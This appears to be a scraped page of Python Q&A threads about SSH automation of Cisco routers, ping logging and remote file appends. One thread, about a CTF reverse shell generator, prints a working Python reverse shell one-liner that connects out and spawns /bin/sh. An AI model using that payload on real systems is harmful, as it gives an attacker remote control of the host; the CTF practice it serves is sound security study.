Print SSH output from Cisco Router to a text file - python

I am a newbie to Python as well as the programming world. After a bit of research for the past 2 days am now able to successfully SSH into the Cisco router and execute set of commands. However my original goal is to print the resultant output to a text file. Checked lots of posts by forum members which helped me in constructing the code, but I couldn't get the result printed on the text file. Please help.
Here is my code:
import paramiko
import sys
import os
dssh = paramiko.SSHClient()
dssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
dssh.connect('10.0.0.1', username='cisco', password='cisco')
stdin, stdout, stderr = dssh.exec_command('sh ip ssh')
print stdout.read()
f = open('output.txt', 'a')
f.write(stdout.read())
f.close()
dssh.close()

stdout.read() will read the content and move the file pointer forward. As such, subsequent calls will not be able to read the content again. So if you want to print the content and write it to a file, you should store it in a variable first and then print and write that.
Instead of mentioning the IP address directly on the code, is it possible for me to fetch it from list of IP addresses (mentioned line by line) in a text file?
You can read lines from a file like this:
with open('filename') as f:
for line in f:
# Each line will be iterated; so you could call a function here
# that does the connection via SSH
print(line)

I know this is very late but the code below is what I'm using to do exactly what is being asked.
from __future__ import print_function
from netmiko import ConnectHandler
import sys
import time
import select
import paramiko
import re
fd = open(r'C:\Users\NewdayTest.txt','w')
old_stdout = sys.stdout
sys.stdout = fd
platform = 'cisco_ios'
username = 'Username'
password = 'Password'
ip_add_file = open(r'C:\Users\\IPAddressList.txt','r')
for host in ip_add_file:
device = ConnectHandler(device_type=platform, ip=host, username=username, password=password)
output = device.send_command('terminal length 0')
output = device.send_command('enable')
print('##############################################################\n')
print('...................CISCO COMMAND SHOW RUN OUTPUT......................\n')
output = device.send_command('sh run')
print(output)
print('##############################################################\n')
print('...................CISCO COMMAND SHOW IP INT BR OUTPUT......................\n')
output = device.send_command('sh ip int br')
print(output)
print('##############################################################\n')
fd.close()
Or, if you wanted to print from a single host, use this slight edit. That simply removes looking for a list to get the IP address:
from __future__ import print_function
from netmiko import ConnectHandler
import sys
import time
import select
import paramiko
import re
fd = open(r'C:\Users\NewdayTest.txt','w')
old_stdout = sys.stdout
sys.stdout = fd
host = '10.10.10.10'
platform = 'cisco_ios'
username = 'Username'
password = 'Password'
device = ConnectHandler(device_type=platform, ip=host, username=username, password=password)
output = device.send_command('terminal length 0')
output = device.send_command('enable')
print('##############################################################\n')
print('...................CISCO COMMAND SHOW RUN OUTPUT......................\n')
output = device.send_command('sh run')
print(output)
print('##############################################################\n')
print('...................CISCO COMMAND SHOW IP INT BR OUTPUT......................\n')
output = device.send_command('sh ip int br')
print(output)
print('##############################################################\n')
fd.close()

Related

Append output by Host

I wrote a script which executes commands (provided as arguments) on remote hosts (provided from a file) with paramiko module python module. However, I want the results of the execution grouped by hostname and command outputs separated by delimiter '#'
I wrote this script
#!/usr/bin/env python
from msilib.schema import File
import paramiko
import os
import subprocess
import getpass
import argparse
import itertools
username = getpass.getuser()
#password = getpass.getpass()
password = 'Password'
port = 22
parser = argparse.ArgumentParser()
parser.add_argument("-c", "--command", help="Please add each command in double quotes Eg: script.py 'cmd_1' 'cmd_2' ", nargs='+')
parser.add_argument("-f", "--file", type=open)
args = parser.parse_args()
# hfile = open(args.file)
loc = args.file.read().splitlines()
for host in loc:
for vals in args.command:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(host,port,username,password)
stdin, stdout, stderr = client.exec_command(vals)
output = stdout.read()
output_main = str(output)
o2 = output_main.split('\n')
o3 = host + ':' + str(o2)[4:-6] + '#'
print(o3)
# print(o3)
# print(host + '\n' + output_main)
When I use this script with following usage:
python multiple_cmd_execute.py -f tes2.txt -c "id" "cat /etc/redhat-release"
It gives the output as
lnyfxaggap2c:uid=1011308397(rm08397) gid=90015(helpdevelop) groups=90015(helpdevelop)#
lnyfxaggap2c:Red Hat Enterprise Linux Server release 6.10 (Santiago)#
lnyfxatrap02u:uid=1011308397(rm08397) gid=90015(helpdevelop) groups=90015(helpdevelop) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023#
lnyfxatrap02u:Red Hat Enterprise Linux Server release 7.9 (Maipo)#
I want the output to be
Host1:Result_of_command_1#Result_of_command_2
Host2:Result_of_command_1#Result_of_command_2

Removing multiple strings in a file replace() not working

I am at the moment experiencing some issues with my code. I am creating a reverse shell generator that automates with pentests for Capture flag competitions.
The script will read a file containing payloads, further the script will choose a specific line to be fetched and then replace the back connect ip address and port and output the payload to the user.
However i am stuck on some issues. The issue is that i am trying to replace two different strings upon reading a file containing my text, one of the strings gets replaced, while the other do not:
Strings to be replaced
[ip]
[port]
I have as well reviewed previous article using regex, but did not get further luck. Recieving error on the regex part that is commented out in my code: "unexpected token"
My code:
import socket
import base64
import hashlib
import re
import os # Fetching ip from interface
import linecache # for reading specific lines
ip = str(input("Host ip\n"))
port = str(input("port\n"))
#shell = str(input("Please select an option?\n"))
def full():
print("Welcome, lets generate a choosen reverse shell\n")
global ip
global port
print("please select language and shell option:\n [1] - python(Alphanumeric reverse shell)\n, [2] PHP(Alphanumeric reverse shell)\n")
selection = input("Type in number:\t")
if int(selection) == 1:
with open("myshells.txt", "r") as shells:
#for myreplace in (("[ip]", ip), ("[port]", port)):
fetchshell = linecache.getline('myshells.txt', 1)
ipreplaced = fetchshell.replace("[ip]", ip)
ipreplaced = fetchshell.replace("[port]", port)
print(ipreplaced)
"""for line in fetchshell:
myport = line.write(re.sub(r"(port)", port))
myip = line.write((re.sub(r"(ip)", ip))
print(line)"""
File contents:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Sample output from above code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Code isn't uploading but printing in console

I've made this code, and it should upload something but instead it doesn't upload anything and just prints the outcome of the command in my console, and doesn't upload anything to the website
import requests, os, re, subprocess
from bs4 import BeautifulSoup
command = 'netsh interface ip show addresses "Ethernet" | findstr /c:IP'
outcome = str(subprocess.Popen(command, shell=True).wait())
#soup = BeautifulSoup(outcome,'lxml')
#outcome = outcome.replace('0','')
#print str(subprocess.call(command, shell=True))
requests.post("example.com", {'field1': outcome})
and the console output:
IP Address: 192.168.1.23
Which uploads to the website 0
and I tried:
import requests, os, re, subprocess
from bs4 import BeautifulSoup
command = 'netsh interface ip show addresses "Ethernet" | findstr /c:IP'
#subprocess.communicate(command, shell=True)
subprocess.Popen(command, shell=True).communicate()
outcome = subprocess.PIPE
#soup = BeautifulSoup(outcome,'lxml')
#outcome = outcome.replace('0','')
#print str(subprocess.call(command, shell=True))
requests.post("example.com", {'field1': outcome})
and the console output:
IP Address: 192.168.1.23
Which uploads to the website -1
What I want it to do is to upload that ip address outcome to a website.
You don’t use subprocess correctly. I suggest you use subprocess.Popen.communicate, and pass in stdout=subprocess.PIPE to actually obtain the stdout of your subprocess.
p = subprocess.Popen(["my", "command"], stdout=subprocess.PIPE)
stdout, _ = p.communicate()

How to write/append PING results to output file

Fairly new to Python so forgive the basic question and my repetitive coding. I'm trying to write a script that PINGs a network segment then writes the results to a couple of TXT files.
I have the PING scan part working just fine with some code I found online, just cant get the results to save in the files. The files get created but they are blank.
Can someone check this out and give me some recommendations?
import os
import os.path
import sys
import subprocess
import ipaddress
# Prompt the user to input a network address
network = input("Enter a network address in CIDR format(ex.192.168.1.0/24): ")
# Create the network
ip_net = ipaddress.ip_network(network)
# Get all hosts on that network
all_hosts = list(ip_net.hosts())
# Create output file in preset directory
os.chdir("C:\\Python364\\Output")
onlineHosts = "Online_Hosts.txt"
offlineHosts = "Offline_Hosts.txt"
on = open(onlineHosts, 'a') # File object 'on' is created with append mode
off = open(offlineHosts, 'a') # File object 'off' is created with append mode
# Configure subprocess to hide the console window
info = subprocess.STARTUPINFO()
info.dwFlags |= subprocess.STARTF_USESHOWWINDOW
info.wShowWindow = subprocess.SW_HIDE
# For each IP address in the subnet,
# run the ping command with subprocess.popen interface
for i in range(len(all_hosts)):
output = subprocess.Popen(['ping', '-n', '1', '-w', '500', str(all_hosts[i])], stdout=subprocess.PIPE, startupinfo=info).communicate()[0]
if "Destination host unreachable" in output.decode('utf-8'):
print(str(all_hosts[i]), "is Offline")
result = str(all_hosts[i])
off.write(result)
elif "Request timed out" in output.decode('utf-8'):
print(str(all_hosts[i]), "is Offline")
result = str(all_hosts[i])
off.write(result)
else:
print(str(all_hosts[i]), "is Online")
result = str(all_hosts[i])
on.write(result
Make sure to close the files when finished with them. The writing may stay in the buffer until you do.
on.close()
off.close()
To write immediately without closing, you can flush the buffers:
on.flush()
off.flush()
If one only want to use the shell, I found the following to be helpful for this problem: https://ss64.com/nt/type.html
To write the ping results to the output file, type:
ping -t "SomeIPAddress" > newfile.txt
To append ping results to the existing output file, type:
ping -t "some IP address" >> existingfile.txt
If you also want to add a timestamp on the ping results, then you can type the following in the Powershell:
ping -t "SomeIPAddress"|Foreach{"{0} - {1}" -f (Get-Date),$_} > > newfile.txt
Source: https://support.solarwinds.com/SuccessCenter/s/article/Ping-Test-and-save-to-text-file?language=en_US

Python appending file remotely

It seems easy enough in python to append data to an existing file (locally), although not so easy to do it remotely (at least that I've found). Is there some straight forward method for accomplishing this?
I tried using:
import subprocess
cmd = ['ssh', 'user#example.com',
'cat - > /path/to/file/append.txt']
p = subprocess.Popen(cmd, stdin=subprocess.PIPE)
inmem_data = 'foobar\n'
for chunk_ix in range(0, len(inmem_data), 1024):
chunk = inmem_data[chunk_ix:chunk_ix + 1024]
p.stdin.write(chunk)
But maybe that's not the way to do it; so I tried posting a query:
import urllib
import urllib2
query_args = { 'q':'query string', 'foo':'bar' }
request = urllib2.Request('http://example.com:8080/')
print 'Request method before data:', request.get_method()
request.add_data(urllib.urlencode(query_args))
print 'Request method after data :', request.get_method()
request.add_header('User-agent', 'PyMOTW (http://example.com/)')
print
print 'OUTGOING DATA:'
print request.get_data()
print
print 'SERVER RESPONSE:'
print urllib2.urlopen(request).read()
But I get connection refused, so I would obviously need some type of form handler, which unfortunately I have no knowledge about. Is there recommended way to accomplish this? Thanks.
If I understands correctly you are trying to append a remote file to a local file...
I'd recommend to use fabric... http://www.fabfile.org/
I've tried this with text files and it works great.
Remember to install fabric before running the script:
pip install fabric
Append a remote file to a local file (I think it's self explanatory):
from fabric.api import (cd, env)
from fabric.operations import get
env.host_string = "127.0.0.1:2222"
env.user = "jfroco"
env.password = "********"
remote_path = "/home/jfroco/development/fabric1"
remote_file = "test.txt"
local_file = "local.txt"
lf = open(local_file, "a")
with cd(remote_path):
get(remote_file, lf)
lf.close()
Run it as any python file (it is not necessary to use "fab" application)
Hope this helps
EDIT: New script that write a variable at the end of a remote file:
Again, it is super simple using Fabric
from fabric.api import (cd, env, run)
from time import time
env.host_string = "127.0.0.1:2222"
env.user = "jfroco"
env.password = "*********"
remote_path = "/home/jfroco/development/fabric1"
remote_file = "test.txt"
variable = "My time is %s" % time()
with cd(remote_path):
run("echo '%s' >> %s" % (variable, remote_file))
In the example I use time.time() but could be anything.
At the time of posting this, the first script above (posted by #Juan Fco. Roco) didn't work for me. What worked for me instead is as follows:
from fabric import Connection
my_host = '127.0.0.1'
my_username = "jfroco"
my_password = '*********'
remote_file_path = "/home/jfroco/development/fabric1/test.txt"
local_file_path = "local.txt"
ssh_conn = Connection(host=my_host,
user=my_username,
connect_kwargs={"password": my_password}
)
with ssh_conn as my_ssh_conn:
local_log_file_obj = open(local_file_path, 'ab', encoding="utf_8")
my_ssh_conn.get(remote_file_path, local_log_file_obj)
local_log_file_obj.close()
The main difference is 'ab' (append in binary mode) instead of 'a'.

Categories

Resources